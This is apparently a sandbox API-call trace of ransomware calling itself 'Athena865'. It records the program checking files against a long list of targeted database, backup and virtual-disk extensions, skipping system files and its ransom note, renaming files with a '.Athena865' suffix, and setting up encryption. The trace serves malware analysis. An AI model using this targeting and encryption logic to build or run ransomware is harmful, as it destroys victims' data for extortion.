lstrlenW (lpString="dadiagrams") returned 10 [0050.102] lstrcmpiW (lpString1="fe.contact", lpString2="dadiagrams") returned 1 [0050.103] lstrlenW (lpString="daschema") returned 8 [0050.103] lstrcmpiW (lpString1=".contact", lpString2="daschema") returned -1 [0050.103] lstrlenW (lpString="db-journal") returned 10 [0050.103] lstrcmpiW (lpString1="fe.contact", lpString2="db-journal") returned 1 [0050.103] lstrlenW (lpString="db-shm") returned 6 [0050.103] lstrcmpiW (lpString1="ontact", lpString2="db-shm") returned 1 [0050.103] lstrlenW (lpString="db-wal") returned 6 [0050.103] lstrcmpiW (lpString1="ontact", lpString2="db-wal") returned 1 [0050.103] lstrlenW (lpString="dbc") returned 3 [0050.103] lstrcmpiW (lpString1="act", lpString2="dbc") returned -1 [0050.103] lstrlenW (lpString="dbs") returned 3 [0050.103] lstrcmpiW (lpString1="act", lpString2="dbs") returned -1 [0050.103] lstrlenW (lpString="dbt") returned 3 [0050.103] lstrcmpiW (lpString1="act", lpString2="dbt") returned -1 [0050.103] lstrlenW (lpString="dbv") returned 3 [0050.103] lstrcmpiW (lpString1="act", lpString2="dbv") returned -1 [0050.103] lstrlenW (lpString="dbx") returned 3 [0050.103] lstrcmpiW (lpString1="act", lpString2="dbx") returned -1 [0050.103] lstrlenW (lpString="dcb") returned 3 [0050.103] lstrcmpiW (lpString1="act", lpString2="dcb") returned -1 [0050.103] lstrlenW (lpString="dct") returned 3 [0050.103] lstrcmpiW (lpString1="act", lpString2="dct") returned -1 [0050.103] lstrlenW (lpString="dcx") returned 3 [0050.103] lstrcmpiW (lpString1="act", lpString2="dcx") returned -1 [0050.103] lstrlenW (lpString="ddl") returned 3 [0050.103] lstrcmpiW (lpString1="act", lpString2="ddl") returned -1 [0050.103] lstrlenW (lpString="dlis") returned 4 [0050.103] lstrcmpiW (lpString1="tact", lpString2="dlis") returned 1 [0050.103] lstrlenW (lpString="dp1") returned 3 [0050.103] lstrcmpiW (lpString1="act", lpString2="dp1") returned -1 [0050.103] lstrlenW (lpString="dqy") returned 3 [0050.103] lstrcmpiW (lpString1="act", lpString2="dqy") returned -1 [0050.103] lstrlenW (lpString="dsk") returned 3 [0050.104] lstrcmpiW (lpString1="act", lpString2="dsk") returned -1 [0050.104] lstrlenW (lpString="dsn") returned 3 [0050.104] lstrcmpiW (lpString1="act", lpString2="dsn") returned -1 [0050.104] lstrlenW (lpString="dtsx") returned 4 [0050.104] lstrcmpiW (lpString1="tact", lpString2="dtsx") returned 1 [0050.104] lstrlenW (lpString="dxl") returned 3 [0050.104] lstrcmpiW (lpString1="act", lpString2="dxl") returned -1 [0050.104] lstrlenW (lpString="eco") returned 3 [0050.104] lstrcmpiW (lpString1="act", lpString2="eco") returned -1 [0050.104] lstrlenW (lpString="ecx") returned 3 [0050.104] lstrcmpiW (lpString1="act", lpString2="ecx") returned -1 [0050.104] lstrlenW (lpString="edb") returned 3 [0050.104] lstrcmpiW (lpString1="act", lpString2="edb") returned -1 [0050.104] lstrlenW (lpString="epim") returned 4 [0050.104] lstrcmpiW (lpString1="tact", lpString2="epim") returned 1 [0050.104] lstrlenW (lpString="fcd") returned 3 [0050.104] lstrcmpiW (lpString1="act", lpString2="fcd") returned -1 [0050.104] lstrlenW (lpString="fdb") returned 3 [0050.104] lstrcmpiW (lpString1="act", lpString2="fdb") returned -1 [0050.104] lstrlenW (lpString="fic") returned 3 [0050.104] lstrcmpiW (lpString1="act", lpString2="fic") returned -1 [0050.104] lstrlenW (lpString="flexolibrary") returned 12 [0050.104] lstrcmpiW (lpString1="kdfe.contact", lpString2="flexolibrary") returned 1 [0050.104] lstrlenW (lpString="fm5") returned 3 [0050.104] lstrcmpiW (lpString1="act", lpString2="fm5") returned -1 [0050.104] lstrlenW (lpString="fmp") returned 3 [0050.104] lstrcmpiW (lpString1="act", lpString2="fmp") returned -1 [0050.104] lstrlenW (lpString="fmp12") returned 5 [0050.104] lstrcmpiW (lpString1="ntact", lpString2="fmp12") returned 1 [0050.104] lstrlenW (lpString="fmpsl") returned 5 [0050.104] lstrcmpiW (lpString1="ntact", lpString2="fmpsl") returned 1 [0050.104] lstrlenW (lpString="fol") returned 3 [0050.104] lstrcmpiW (lpString1="act", lpString2="fol") returned -1 [0050.105] lstrlenW (lpString="fp3") returned 3 [0050.105] lstrcmpiW (lpString1="act", lpString2="fp3") returned -1 [0050.105] lstrlenW (lpString="fp4") returned 3 [0050.105] lstrcmpiW (lpString1="act", lpString2="fp4") returned -1 [0050.105] lstrlenW (lpString="fp5") returned 3 [0050.105] lstrcmpiW (lpString1="act", lpString2="fp5") returned -1 [0050.105] lstrlenW (lpString="fp7") returned 3 [0050.105] lstrcmpiW (lpString1="act", lpString2="fp7") returned -1 [0050.105] lstrlenW (lpString="fpt") returned 3 [0050.105] lstrcmpiW (lpString1="act", lpString2="fpt") returned -1 [0050.105] lstrlenW (lpString="frm") returned 3 [0050.105] lstrcmpiW (lpString1="act", lpString2="frm") returned -1 [0050.105] lstrlenW (lpString="gdb") returned 3 [0050.105] lstrcmpiW (lpString1="act", lpString2="gdb") returned -1 [0050.105] lstrlenW (lpString="gdb") returned 3 [0050.105] lstrcmpiW (lpString1="act", lpString2="gdb") returned -1 [0050.105] lstrlenW (lpString="grdb") returned 4 [0050.105] lstrcmpiW (lpString1="tact", lpString2="grdb") returned 1 [0050.105] lstrlenW (lpString="gwi") returned 3 [0050.105] lstrcmpiW (lpString1="act", lpString2="gwi") returned -1 [0050.105] lstrlenW (lpString="hdb") returned 3 [0050.105] lstrcmpiW (lpString1="act", lpString2="hdb") returned -1 [0050.105] lstrlenW (lpString="his") returned 3 [0050.105] lstrcmpiW (lpString1="act", lpString2="his") returned -1 [0050.105] lstrlenW (lpString="ib") returned 2 [0050.105] lstrcmpiW (lpString1="ct", lpString2="ib") returned -1 [0050.105] lstrlenW (lpString="idb") returned 3 [0050.105] lstrcmpiW (lpString1="act", lpString2="idb") returned -1 [0050.105] lstrlenW (lpString="ihx") returned 3 [0050.105] lstrcmpiW (lpString1="act", lpString2="ihx") returned -1 [0050.105] lstrlenW (lpString="itdb") returned 4 [0050.105] lstrcmpiW (lpString1="tact", lpString2="itdb") returned 1 [0050.105] lstrlenW (lpString="itw") returned 3 [0050.105] lstrcmpiW (lpString1="act", lpString2="itw") returned -1 [0050.105] lstrlenW (lpString="jet") returned 3 [0050.105] lstrcmpiW (lpString1="act", lpString2="jet") returned -1 [0050.106] lstrlenW (lpString="jtx") returned 3 [0050.106] lstrcmpiW (lpString1="act", lpString2="jtx") returned -1 [0050.106] lstrlenW (lpString="kdb") returned 3 [0050.106] lstrcmpiW (lpString1="act", lpString2="kdb") returned -1 [0050.106] lstrlenW (lpString="kexi") returned 4 [0050.106] lstrcmpiW (lpString1="tact", lpString2="kexi") returned 1 [0050.106] lstrlenW (lpString="kexic") returned 5 [0050.106] lstrcmpiW (lpString1="ntact", lpString2="kexic") returned 1 [0050.106] lstrlenW (lpString="kexis") returned 5 [0050.106] lstrcmpiW (lpString1="ntact", lpString2="kexis") returned 1 [0050.106] lstrlenW (lpString="lgc") returned 3 [0050.106] lstrcmpiW (lpString1="act", lpString2="lgc") returned -1 [0050.106] lstrlenW (lpString="lwx") returned 3 [0050.106] lstrcmpiW (lpString1="act", lpString2="lwx") returned -1 [0050.106] lstrlenW (lpString="maf") returned 3 [0050.106] lstrcmpiW (lpString1="act", lpString2="maf") returned -1 [0050.106] lstrlenW (lpString="maq") returned 3 [0050.106] lstrcmpiW (lpString1="act", lpString2="maq") returned -1 [0050.106] lstrlenW (lpString="mar") returned 3 [0050.106] lstrcmpiW (lpString1="act", lpString2="mar") returned -1 [0050.106] lstrlenW (lpString="marshal") returned 7 [0050.106] lstrcmpiW (lpString1="contact", lpString2="marshal") returned -1 [0050.106] lstrlenW (lpString="mas") returned 3 [0050.106] lstrcmpiW (lpString1="act", lpString2="mas") returned -1 [0050.106] lstrlenW (lpString="mav") returned 3 [0050.106] lstrcmpiW (lpString1="act", lpString2="mav") returned -1 [0050.106] lstrlenW (lpString="maw") returned 3 [0050.106] lstrcmpiW (lpString1="act", lpString2="maw") returned -1 [0050.106] lstrlenW (lpString="mdbhtml") returned 7 [0050.106] lstrcmpiW (lpString1="contact", lpString2="mdbhtml") returned -1 [0050.106] lstrlenW (lpString="mdn") returned 3 [0050.106] lstrcmpiW (lpString1="act", lpString2="mdn") returned -1 [0050.106] lstrlenW (lpString="mdt") returned 3 [0050.106] lstrcmpiW (lpString1="act", lpString2="mdt") returned -1 [0050.106] lstrlenW (lpString="mfd") returned 3 [0050.107] lstrcmpiW (lpString1="act", lpString2="mfd") returned -1 [0050.107] lstrlenW (lpString="mpd") returned 3 [0050.107] lstrcmpiW (lpString1="act", lpString2="mpd") returned -1 [0050.107] lstrlenW (lpString="mrg") returned 3 [0050.107] lstrcmpiW (lpString1="act", lpString2="mrg") returned -1 [0050.107] lstrlenW (lpString="mud") returned 3 [0050.107] lstrcmpiW (lpString1="act", lpString2="mud") returned -1 [0050.107] lstrlenW (lpString="mwb") returned 3 [0050.107] lstrcmpiW (lpString1="act", lpString2="mwb") returned -1 [0050.107] lstrlenW (lpString="myd") returned 3 [0050.107] lstrcmpiW (lpString1="act", lpString2="myd") returned -1 [0050.107] lstrlenW (lpString="ndf") returned 3 [0050.107] lstrcmpiW (lpString1="act", lpString2="ndf") returned -1 [0050.107] lstrlenW (lpString="nnt") returned 3 [0050.107] lstrcmpiW (lpString1="act", lpString2="nnt") returned -1 [0050.107] lstrlenW (lpString="nrmlib") returned 6 [0050.107] lstrcmpiW (lpString1="ontact", lpString2="nrmlib") returned 1 [0050.107] lstrlenW (lpString="ns2") returned 3 [0050.107] lstrcmpiW (lpString1="act", lpString2="ns2") returned -1 [0050.107] lstrlenW (lpString="ns3") returned 3 [0050.107] lstrcmpiW (lpString1="act", lpString2="ns3") returned -1 [0050.107] lstrlenW (lpString="ns4") returned 3 [0050.107] lstrcmpiW (lpString1="act", lpString2="ns4") returned -1 [0050.107] lstrlenW (lpString="nsf") returned 3 [0050.107] lstrcmpiW (lpString1="act", lpString2="nsf") returned -1 [0050.107] lstrlenW (lpString="nv") returned 2 [0050.107] lstrcmpiW (lpString1="ct", lpString2="nv") returned -1 [0050.107] lstrlenW (lpString="nv2") returned 3 [0050.107] lstrcmpiW (lpString1="act", lpString2="nv2") returned -1 [0050.107] lstrlenW (lpString="nwdb") returned 4 [0050.107] lstrcmpiW (lpString1="tact", lpString2="nwdb") returned 1 [0050.107] lstrlenW (lpString="nyf") returned 3 [0050.107] lstrcmpiW (lpString1="act", lpString2="nyf") returned -1 [0050.107] lstrlenW (lpString="odb") returned 3 [0050.108] lstrcmpiW (lpString1="act", lpString2="odb") returned -1 [0050.108] lstrlenW (lpString="odb") returned 3 [0050.108] lstrcmpiW (lpString1="act", lpString2="odb") returned -1 [0050.108] lstrlenW (lpString="oqy") returned 3 [0050.108] lstrcmpiW (lpString1="act", lpString2="oqy") returned -1 [0050.108] lstrlenW (lpString="ora") returned 3 [0050.108] lstrcmpiW (lpString1="act", lpString2="ora") returned -1 [0050.108] lstrlenW (lpString="orx") returned 3 [0050.108] lstrcmpiW (lpString1="act", lpString2="orx") returned -1 [0050.108] lstrlenW (lpString="owc") returned 3 [0050.108] lstrcmpiW (lpString1="act", lpString2="owc") returned -1 [0050.108] lstrlenW (lpString="p96") returned 3 [0050.108] lstrcmpiW (lpString1="act", lpString2="p96") returned -1 [0050.108] lstrlenW (lpString="p97") returned 3 [0050.108] lstrcmpiW (lpString1="act", lpString2="p97") returned -1 [0050.108] lstrlenW (lpString="pan") returned 3 [0050.108] lstrcmpiW (lpString1="act", lpString2="pan") returned -1 [0050.108] lstrlenW (lpString="pdb") returned 3 [0050.108] lstrcmpiW (lpString1="act", lpString2="pdb") returned -1 [0050.108] lstrlenW (lpString="pdm") returned 3 [0050.108] lstrcmpiW (lpString1="act", lpString2="pdm") returned -1 [0050.108] lstrlenW (lpString="pnz") returned 3 [0050.108] lstrcmpiW (lpString1="act", lpString2="pnz") returned -1 [0050.108] lstrlenW (lpString="qry") returned 3 [0050.108] lstrcmpiW (lpString1="act", lpString2="qry") returned -1 [0050.108] lstrlenW (lpString="qvd") returned 3 [0050.108] lstrcmpiW (lpString1="act", lpString2="qvd") returned -1 [0050.108] lstrlenW (lpString="rbf") returned 3 [0050.108] lstrcmpiW (lpString1="act", lpString2="rbf") returned -1 [0050.108] lstrlenW (lpString="rctd") returned 4 [0050.108] lstrcmpiW (lpString1="tact", lpString2="rctd") returned 1 [0050.108] lstrlenW (lpString="rod") returned 3 [0050.108] lstrcmpiW (lpString1="act", lpString2="rod") returned -1 [0050.108] lstrlenW (lpString="rodx") returned 4 [0050.108] lstrcmpiW (lpString1="tact", lpString2="rodx") returned 1 [0050.109] lstrlenW (lpString="rpd") returned 3 [0050.109] lstrcmpiW (lpString1="act", lpString2="rpd") returned -1 [0050.109] lstrlenW (lpString="rsd") returned 3 [0050.109] lstrcmpiW (lpString1="act", lpString2="rsd") returned -1 [0050.109] lstrlenW (lpString="sas7bdat") returned 8 [0050.109] lstrcmpiW (lpString1=".contact", lpString2="sas7bdat") returned -1 [0050.109] lstrlenW (lpString="sbf") returned 3 [0050.109] lstrcmpiW (lpString1="act", lpString2="sbf") returned -1 [0050.109] lstrlenW (lpString="scx") returned 3 [0050.109] lstrcmpiW (lpString1="act", lpString2="scx") returned -1 [0050.109] lstrlenW (lpString="sdb") returned 3 [0050.109] lstrcmpiW (lpString1="act", lpString2="sdb") returned -1 [0050.109] lstrlenW (lpString="sdc") returned 3 [0050.109] lstrcmpiW (lpString1="act", lpString2="sdc") returned -1 [0050.109] lstrlenW (lpString="sdf") returned 3 [0050.109] lstrcmpiW (lpString1="act", lpString2="sdf") returned -1 [0050.109] lstrlenW (lpString="sis") returned 3 [0050.109] lstrcmpiW (lpString1="act", lpString2="sis") returned -1 [0050.109] lstrlenW (lpString="spq") returned 3 [0050.109] lstrcmpiW (lpString1="act", lpString2="spq") returned -1 [0050.109] lstrlenW (lpString="te") returned 2 [0050.109] lstrcmpiW (lpString1="ct", lpString2="te") returned -1 [0050.109] lstrlenW (lpString="teacher") returned 7 [0050.109] lstrcmpiW (lpString1="contact", lpString2="teacher") returned -1 [0050.109] lstrlenW (lpString="tmd") returned 3 [0050.109] lstrcmpiW (lpString1="act", lpString2="tmd") returned -1 [0050.109] lstrlenW (lpString="tps") returned 3 [0050.109] lstrcmpiW (lpString1="act", lpString2="tps") returned -1 [0050.109] lstrlenW (lpString="trc") returned 3 [0050.109] lstrcmpiW (lpString1="act", lpString2="trc") returned -1 [0050.109] lstrlenW (lpString="trc") returned 3 [0050.109] lstrcmpiW (lpString1="act", lpString2="trc") returned -1 [0050.110] lstrlenW (lpString="trm") returned 3 [0050.110] lstrcmpiW (lpString1="act", lpString2="trm") returned -1 [0050.110] lstrlenW (lpString="udb") returned 3 [0050.110] lstrcmpiW (lpString1="act", lpString2="udb") returned -1 [0050.110] lstrlenW (lpString="udl") returned 3 [0050.110] lstrcmpiW (lpString1="act", lpString2="udl") returned -1 [0050.110] lstrlenW (lpString="usr") returned 3 [0050.110] lstrcmpiW (lpString1="act", lpString2="usr") returned -1 [0050.110] lstrlenW (lpString="v12") returned 3 [0050.110] lstrcmpiW (lpString1="act", lpString2="v12") returned -1 [0050.110] lstrlenW (lpString="vis") returned 3 [0050.110] lstrcmpiW (lpString1="act", lpString2="vis") returned -1 [0050.110] lstrlenW (lpString="vpd") returned 3 [0050.110] lstrcmpiW (lpString1="act", lpString2="vpd") returned -1 [0050.110] lstrlenW (lpString="vvv") returned 3 [0050.110] lstrcmpiW (lpString1="act", lpString2="vvv") returned -1 [0050.110] lstrlenW (lpString="wdb") returned 3 [0050.110] lstrcmpiW (lpString1="act", lpString2="wdb") returned -1 [0050.110] lstrlenW (lpString="wmdb") returned 4 [0050.110] lstrcmpiW (lpString1="tact", lpString2="wmdb") returned -1 [0050.110] lstrlenW (lpString="wrk") returned 3 [0050.110] lstrcmpiW (lpString1="act", lpString2="wrk") returned -1 [0050.110] lstrlenW (lpString="xdb") returned 3 [0050.110] lstrcmpiW (lpString1="act", lpString2="xdb") returned -1 [0050.110] lstrlenW (lpString="xld") returned 3 [0050.110] lstrcmpiW (lpString1="act", lpString2="xld") returned -1 [0050.110] lstrlenW (lpString="xmlff") returned 5 [0050.110] lstrcmpiW (lpString1="ntact", lpString2="xmlff") returned -1 [0050.110] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.Athena865") returned 87 [0050.110] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact.athena865"), dwFlags=0x1) returned 1 [0050.112] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.112] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1174) returned 1 [0050.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.112] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.113] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.113] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.113] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a0, lpName=0x0) returned 0x154 [0050.115] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7a0) returned 0x100000 [0050.115] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.116] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.116] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.117] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.117] CloseHandle (hObject=0x154) returned 1 [0050.117] CloseHandle (hObject=0x17c) returned 1 [0050.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.117] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0050.117] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.117] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.117] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2=".") returned 1 [0050.117] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="..") returned 1 [0050.117] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="windows") returned -1 [0050.117] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="bootmgr") returned 1 [0050.117] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="temp") returned -1 [0050.117] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="pagefile.sys") returned 1 [0050.117] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="boot") returned 1 [0050.117] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="ids.txt") returned 1 [0050.117] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="ntuser.dat") returned 1 [0050.117] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="perflogs") returned 1 [0050.118] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2="MSBuild") returned 1 [0050.118] lstrlenW (lpString="sikvnb huvuib.contact") returned 21 [0050.118] lstrcpyW (in: lpString1=0x241e8b8, lpString2="sikvnb huvuib.contact" | out: lpString1="sikvnb huvuib.contact") returned="sikvnb huvuib.contact" [0050.118] lstrlenW (lpString="sikvnb huvuib.contact") returned 21 [0050.118] lstrlenW (lpString="Athena865") returned 9 [0050.118] lstrcmpiW (lpString1="b.contact", lpString2="Athena865") returned 1 [0050.118] lstrlenW (lpString=".dll") returned 4 [0050.118] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2=".dll") returned 1 [0050.118] lstrlenW (lpString=".lnk") returned 4 [0050.118] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2=".lnk") returned 1 [0050.118] lstrlenW (lpString=".ini") returned 4 [0050.118] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2=".ini") returned 1 [0050.118] lstrlenW (lpString=".sys") returned 4 [0050.118] lstrcmpiW (lpString1="sikvnb huvuib.contact", lpString2=".sys") returned 1 [0050.118] lstrlenW (lpString="sikvnb huvuib.contact") returned 21 [0050.118] lstrlenW (lpString="bak") returned 3 [0050.118] lstrcmpiW (lpString1="act", lpString2="bak") returned -1 [0050.118] lstrlenW (lpString="ba_") returned 3 [0050.118] lstrcmpiW (lpString1="act", lpString2="ba_") returned -1 [0050.118] lstrlenW (lpString="dbb") returned 3 [0050.118] lstrcmpiW (lpString1="act", lpString2="dbb") returned -1 [0050.118] lstrlenW (lpString="vmdk") returned 4 [0050.118] lstrcmpiW (lpString1="tact", lpString2="vmdk") returned -1 [0050.118] lstrlenW (lpString="rar") returned 3 [0050.118] lstrcmpiW (lpString1="act", lpString2="rar") returned -1 [0050.118] lstrlenW (lpString="zip") returned 3 [0050.118] lstrcmpiW (lpString1="act", lpString2="zip") returned -1 [0050.118] lstrlenW (lpString="tgz") returned 3 [0050.118] lstrcmpiW (lpString1="act", lpString2="tgz") returned -1 [0050.118] lstrlenW (lpString="vbox") returned 4 [0050.118] lstrcmpiW (lpString1="tact", lpString2="vbox") returned -1 [0050.118] lstrlenW (lpString="vdi") returned 3 [0050.118] lstrcmpiW (lpString1="act", lpString2="vdi") returned -1 [0050.119] lstrlenW (lpString="vhd") returned 3 [0050.119] lstrcmpiW (lpString1="act", lpString2="vhd") returned -1 [0050.119] lstrlenW (lpString="vhdx") returned 4 [0050.119] lstrcmpiW (lpString1="tact", lpString2="vhdx") returned -1 [0050.119] lstrlenW (lpString="avhd") returned 4 [0050.119] lstrcmpiW (lpString1="tact", lpString2="avhd") returned 1 [0050.119] lstrlenW (lpString="db") returned 2 [0050.119] lstrcmpiW (lpString1="ct", lpString2="db") returned -1 [0050.119] lstrlenW (lpString="db2") returned 3 [0050.119] lstrcmpiW (lpString1="act", lpString2="db2") returned -1 [0050.119] lstrlenW (lpString="db3") returned 3 [0050.119] lstrcmpiW (lpString1="act", lpString2="db3") returned -1 [0050.119] lstrlenW (lpString="dbf") returned 3 [0050.119] lstrcmpiW (lpString1="act", lpString2="dbf") returned -1 [0050.119] lstrlenW (lpString="mdf") returned 3 [0050.119] lstrcmpiW (lpString1="act", lpString2="mdf") returned -1 [0050.119] lstrlenW (lpString="mdb") returned 3 [0050.119] lstrcmpiW (lpString1="act", lpString2="mdb") returned -1 [0050.119] lstrlenW (lpString="sql") returned 3 [0050.119] lstrcmpiW (lpString1="act", lpString2="sql") returned -1 [0050.119] lstrlenW (lpString="sqlite") returned 6 [0050.119] lstrcmpiW (lpString1="ontact", lpString2="sqlite") returned -1 [0050.119] lstrlenW (lpString="sqlite3") returned 7 [0050.119] lstrcmpiW (lpString1="contact", lpString2="sqlite3") returned -1 [0050.119] lstrlenW (lpString="sqlitedb") returned 8 [0050.119] lstrcmpiW (lpString1=".contact", lpString2="sqlitedb") returned -1 [0050.119] lstrlenW (lpString="xml") returned 3 [0050.119] lstrcmpiW (lpString1="act", lpString2="xml") returned -1 [0050.119] lstrlenW (lpString="$er") returned 3 [0050.119] lstrcmpiW (lpString1="act", lpString2="$er") returned 1 [0050.119] lstrlenW (lpString="4dd") returned 3 [0050.119] lstrcmpiW (lpString1="act", lpString2="4dd") returned 1 [0050.120] lstrlenW (lpString="4dl") returned 3 [0050.120] lstrcmpiW (lpString1="act", lpString2="4dl") returned 1 [0050.120] lstrlenW (lpString="^^^") returned 3 [0050.120] lstrcmpiW (lpString1="act", lpString2="^^^") returned 1 [0050.120] lstrlenW (lpString="abs") returned 3 [0050.120] lstrcmpiW (lpString1="act", lpString2="abs") returned 1 [0050.120] lstrlenW (lpString="abx") returned 3 [0050.120] lstrcmpiW (lpString1="act", lpString2="abx") returned 1 [0050.120] lstrlenW (lpString="accdb") returned 5 [0050.120] lstrcmpiW (lpString1="ntact", lpString2="accdb") returned 1 [0050.120] lstrlenW (lpString="accdc") returned 5 [0050.120] lstrcmpiW (lpString1="ntact", lpString2="accdc") returned 1 [0050.120] lstrlenW (lpString="accde") returned 5 [0050.120] lstrcmpiW (lpString1="ntact", lpString2="accde") returned 1 [0050.120] lstrlenW (lpString="accdr") returned 5 [0050.120] lstrcmpiW (lpString1="ntact", lpString2="accdr") returned 1 [0050.120] lstrlenW (lpString="accdt") returned 5 [0050.120] lstrcmpiW (lpString1="ntact", lpString2="accdt") returned 1 [0050.120] lstrlenW (lpString="accdw") returned 5 [0050.120] lstrcmpiW (lpString1="ntact", lpString2="accdw") returned 1 [0050.120] lstrlenW (lpString="accft") returned 5 [0050.120] lstrcmpiW (lpString1="ntact", lpString2="accft") returned 1 [0050.120] lstrlenW (lpString="adb") returned 3 [0050.120] lstrcmpiW (lpString1="act", lpString2="adb") returned -1 [0050.120] lstrlenW (lpString="adb") returned 3 [0050.120] lstrcmpiW (lpString1="act", lpString2="adb") returned -1 [0050.120] lstrlenW (lpString="ade") returned 3 [0050.120] lstrcmpiW (lpString1="act", lpString2="ade") returned -1 [0050.120] lstrlenW (lpString="adf") returned 3 [0050.120] lstrcmpiW (lpString1="act", lpString2="adf") returned -1 [0050.120] lstrlenW (lpString="adn") returned 3 [0050.120] lstrcmpiW (lpString1="act", lpString2="adn") returned -1 [0050.121] lstrlenW (lpString="adp") returned 3 [0050.121] lstrcmpiW (lpString1="act", lpString2="adp") returned -1 [0050.121] lstrlenW (lpString="alf") returned 3 [0050.121] lstrcmpiW (lpString1="act", lpString2="alf") returned -1 [0050.121] lstrlenW (lpString="ask") returned 3 [0050.121] lstrcmpiW (lpString1="act", lpString2="ask") returned -1 [0050.121] lstrlenW (lpString="btr") returned 3 [0050.121] lstrcmpiW (lpString1="act", lpString2="btr") returned -1 [0050.121] lstrlenW 